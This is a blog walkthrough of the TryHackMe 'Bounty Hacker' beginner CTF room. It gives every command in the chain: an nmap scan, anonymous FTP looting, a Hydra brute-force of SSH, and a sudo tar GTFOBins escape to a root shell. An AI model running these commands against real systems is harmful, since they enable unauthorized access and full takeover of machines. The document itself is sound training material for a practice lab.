DEV Community

Shadrach Adongo
Shadrach Adongo

Posted on

TryHackMe Bounty Hacker Walkthrough — Easy Linux Room for Beginners

#tryhackme #cybersecurity #ctf #linux

🎯 Room Info

Room Bounty Hacker
Difficulty 🟢 Easy
Category Linux privesc, service enum, credential reuse
Link tryhackme.com/room/cowboyhacker

📖 What This Room Is About

Bounty Hacker is a beginner Linux box with a Firefly theme. You start with nothing but an IP address, and by the end you're root.

The attack chain is short and satisfying:

  1. 🔍 Scan the box
  2. 📂 Loot an open FTP server
  3. 🔑 Use what you found to brute-force SSH
  4. ⬆️ Escalate to root through a misconfigured sudo rule

If you've just learned Nmap and basic Linux commands, this room is where it all clicks together.

🧠 Skills You'll Practice

  • Nmap scanning
  • Anonymous FTP enumeration
  • Password brute-forcing with Hydra
  • Linux privilege escalation (sudo -l + GTFOBins)

🛠️ Step-by-Step Walkthrough

1️⃣ Scan the target 

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
Enter fullscreen mode Exit fullscreen mode

Three ports pop up: FTP (21), SSH (22), HTTP (80). The FTP banner is the giveaway — it usually says anonymous login is allowed.

💡 Why this matters: -sC -sV gives you service versions and runs safe default scripts in one shot. It's almost always your first move.

2️⃣ Loot the FTP server 

ftp <TARGET_IP>
Enter fullscreen mode Exit fullscreen mode

Log in with username anonymous and any password (or just hit enter).

ls -la
get locks.txt
get task.txt
Enter fullscreen mode Exit fullscreen mode

What you get:

  • task.txt → an in-character note that points you toward a username
  • locks.txt → a password wordlist

💡 Why this matters: open FTP shares are a real-world recon goldmine, not just a CTF trope. Always check.

3️⃣ Find the username 

cat task.txt
Enter fullscreen mode Exit fullscreen mode

The note reveals the username you'll need for the next step.

4️⃣ Brute-force SSH 

hydra -l <username> -P locks.txt ssh://<TARGET_IP>
Enter fullscreen mode Exit fullscreen mode

Hydra tries every password in locks.txt against that username until one works.

💡 Why this matters: this is exactly how credential-stuffing attacks work in the wild — a leaked list + a known username = compromised account.

5️⃣ Log in and grab the user flag 

ssh <username>@<TARGET_IP>
cat user.txt
Enter fullscreen mode Exit fullscreen mode

🚩 Click to reveal: user flag

Redacted — swap in your own captured flag if you want to keep a private record.

6️⃣ Escalate to root

Always check this first on any Linux box:

sudo -l
Enter fullscreen mode Exit fullscreen mode

You'll see the low-priv user can run one specific binary as root, no password needed — a textbook GTFOBins case (tar, in this room).

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Enter fullscreen mode Exit fullscreen mode

That drops you straight into a root shell.

whoami
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

🚩 Click to reveal: root flag

Redacted — swap in your own captured flag if you want to keep a private record.

📋 Every Command, In Order 

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
ftp <TARGET_IP>
hydra -l <username> -P locks.txt ssh://<TARGET_IP>
ssh <username>@<TARGET_IP>
sudo -l
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Enter fullscreen mode Exit fullscreen mode

🎓 Key Takeaways

  • Open FTP = free intel. Anonymous access is more common in production than you'd think — always check it.
  • sudo -l first, always. It's the fastest privesc win on any Linux box.
  • GTFOBins is your cheat sheet. Any binary listed there that you can run as root is a potential root shell.
  • This is a real attack pattern, not just a game — leaked credentials + reused passwords still cause the majority of real breaches.

Top comments (0)